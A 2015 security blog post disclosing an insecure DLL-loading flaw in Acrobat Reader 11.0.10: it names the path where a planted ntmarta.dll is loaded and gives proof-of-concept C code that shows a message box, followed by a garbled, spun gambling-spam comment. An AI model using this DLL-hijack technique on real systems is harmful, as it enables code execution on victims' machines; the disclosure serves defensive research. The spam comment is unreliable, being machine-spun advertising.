Saturday, February 14, 2015

Acrobat Reader Insecure DLL Loading Code Execution

Rename any malicious DLL to
C:\Program Files\Adobe\Reader 11.0\Reader\ntmarta.dll
which will be loaded by Adobe Acrobat Reader.

PoC Code part of ntmarta.dll
#include <windows.h>
BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  MessageBox(NULL, L"DLL Injection by Disects!", L"Developed by Praveen Darshanam",
             MB_ICONWARNING|MB_CANCELTRYCONTINUE|MB_DEFBUTTON2);
}

Compile the above code into a Dynamic Loadable Library (DLL).

Tested on
        Acrobat Reader 11.0.10
        Windows 7 Ultimate N SP1

Refer
http://blog.disects.com/2014/08/dll-injection-executing-and-testing-dlls.html
http://blog.disects.com/2015/02/google-chrome-insecure-dll-loading-code.html

1 comment:

  1. Even though issues are beginning to return to normal for some nations, many individuals still prefer to gamble on-line as an alternative of driving or commuting to their nearest local gambling institution. Ryan Gutzler is a Pennsylvania-based gambling analyst who has labored in the gaming industry since 2007. He is an skilled on the us on-line sports betting and casino markets and is a frequent contributor to selection of|quite so much of|a wide selection of} industry publications. Finding the best way|one of the only ways|the best way} to clear bonuses includes taking all issues into account, like qualifying bets, caps, and exclusions. Be certain to read all the phrases and situations earlier than getting began, or read our on-line casino reviews the place we break down all the best bonus offers and phrases for every casino. Once bets are positioned, the white ball is launched contained 파라오 카지노 도메인 in the roulette wheel and gamers will watch the place it falls.

    ReplyDelete